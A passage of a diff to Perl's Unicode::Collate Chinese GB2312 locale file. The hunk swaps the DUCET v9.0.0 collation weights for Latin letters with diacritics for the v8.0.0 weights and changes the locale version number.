WITH CARON +01D3 ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +00F9 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +01D6 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +00FC 0304 ; [.1E30.0021.0002] # +00DC 0304 ; [.1E30.0021.0008] # +01D8 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +00FC 0301 ; [.1E30.0022.0002] # +00FC 0341 ; [.1E30.0022.0002] # +00DC 0301 ; [.1E30.0022.0008] # +00DC 0341 ; [.1E30.0022.0008] # +01DA ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00FC 030C ; [.1E30.0023.0002] # +00DC 030C ; [.1E30.0023.0008] # +01DC ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +00FC 0300 ; [.1E30.0024.0002] # +00FC 0340 ; [.1E30.0024.0002] # +00DC 0300 ; [.1E30.0024.0008] # +00DC 0340 ; [.1E30.0024.0008] # +00FC ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS F967 ; [.804A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967 FA70 ; [.82DE.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70 F905 ; [.81CB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905 diff --git a/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl b/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl index e39f3dd28731..d714d9a8ad92 100644 --- a/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl +++ b/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl @@ -1,214 +1,214 @@ use Unicode::Collate::CJK::GB2312; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::GB2312::weightGB2312, - entry => <<'ENTRY', # for DUCET v9.0.0 -0101 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E1 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -01CE ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -00E0 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0113 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -00E9 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -011B ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -00E8 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -00EA 0304 ; [.1CAA.0021.0002] # -00CA 0304 ; [.1CAA.0021.0008] # -0065 0302 0304 ; [.1CAA.0021.0002] # -0045 0302 0304 ; [.1CAA.0021.0008] # -1EBF ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -00EA 0301 ; [.1CAA.0022.0002] # -00EA 0341 ; [.1CAA.0022.0002] # -00CA 0301 ; [.1CAA.0022.0008] # -00CA 0341 ; [.1CAA.0022.0008] # -00EA 030C ; [.1CAA.0023.0002] # -00CA 030C ; [.1CAA.0023.0008] # -0065 0302 030C ; [.1CAA.0023.0002] # -0045 0302 030C ; [.1CAA.0023.0008] # -1EC1 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -00EA 0300 ; [.1CAA.0024.0002] # -00EA 0340 ; [.1CAA.0024.0002] # -00CA 0300 ; [.1CAA.0024.0008] # -00CA 0340 ; [.1CAA.0024.0008] # -00EA ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC5 ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -012B ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -00ED ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -01D0 ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -00EC ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -006D 0304 ; [.1DAA.001C.0002] # -004D 0304 ; [.1DAA.001C.0008] # -1E3F ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -006D 030C ; [.1DAA.001E.0002] # -004D 030C ; [.1DAA.001E.0008] # -006D 0300 ; [.1DAA.001F.0002] # -006D 0340 ; [.1DAA.001F.0002] # -004D 0300 ; [.1DAA.001F.0008] # -004D 0340 ; [.1DAA.001F.0008] # -006E 0304 ; [.1DB9.001C.0002] # -004E 0304 ; [.1DB9.001C.0008] # -0144 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0148 ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -01F9 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -014D ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -00F3 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -01D2 ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -00F2 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -016B ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -00FA ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -01D4 ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -00F9 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -01D6 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -00FC 0304 ; [.1EB5.0021.0002] # -00DC 0304 ; [.1EB5.0021.0008] # -01D8 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -00FC 0301 ; [.1EB5.0022.0002] # -00FC 0341 ; [.1EB5.0022.0002] # -00DC 0301 ; [.1EB5.0022.0008] # -00DC 0341 ; [.1EB5.0022.0008] # -01DA ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00FC 030C ; [.1EB5.0023.0002] # -00DC 030C ; [.1EB5.0023.0008] # -01DC ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -00FC 0300 ; [.1EB5.0024.0002] # -00FC 0340 ; [.1EB5.0024.0002] # -00DC 0300 ; [.1EB5.0024.0008] # -00DC 0340 ; [.1EB5.0024.0008] # -00FC ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS + entry => <<'ENTRY', # for DUCET v8.0.0 +0101 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E1 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +01CE ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +00E0 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0113 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +00E9 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +011B ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +00E8 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +00EA 0304 ; [.1C25.0021.0002] # +00CA 0304 ; [.1C25.0021.0008] # +0065 0302 0304 ; [.1C25.0021.0002] # +0045 0302 0304 ; [.1C25.0021.0008] # +1EBF ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +00EA 0301 ; [.1C25.0022.0002] # +00EA 0341 ; [.1C25.0022.0002] # +00CA 0301 ; [.1C25.0022.0008] # +00CA 0341 ; [.1C25.0022.0008] # +00EA 030C ; [.1C25.0023.0002] # +00CA 030C ; [.1C25.0023.0008] # +0065 0302 030C ; [.1C25.0023.0002] # +0045 0302 030C ; [.1C25.0023.0008] # +1EC1 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +00EA 0300 ; [.1C25.0024.0002] # +00EA 0340 ; [.1C25.0024.0002] # +00CA 0300 ; [.1C25.0024.0008] # +00CA 0340 ; [.1C25.0024.0008] # +00EA ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC5 ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +012B ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +00ED ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +01D0 ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +00EC ; [.1CAD.001F.0002] # LATIN SMALL LETTER I 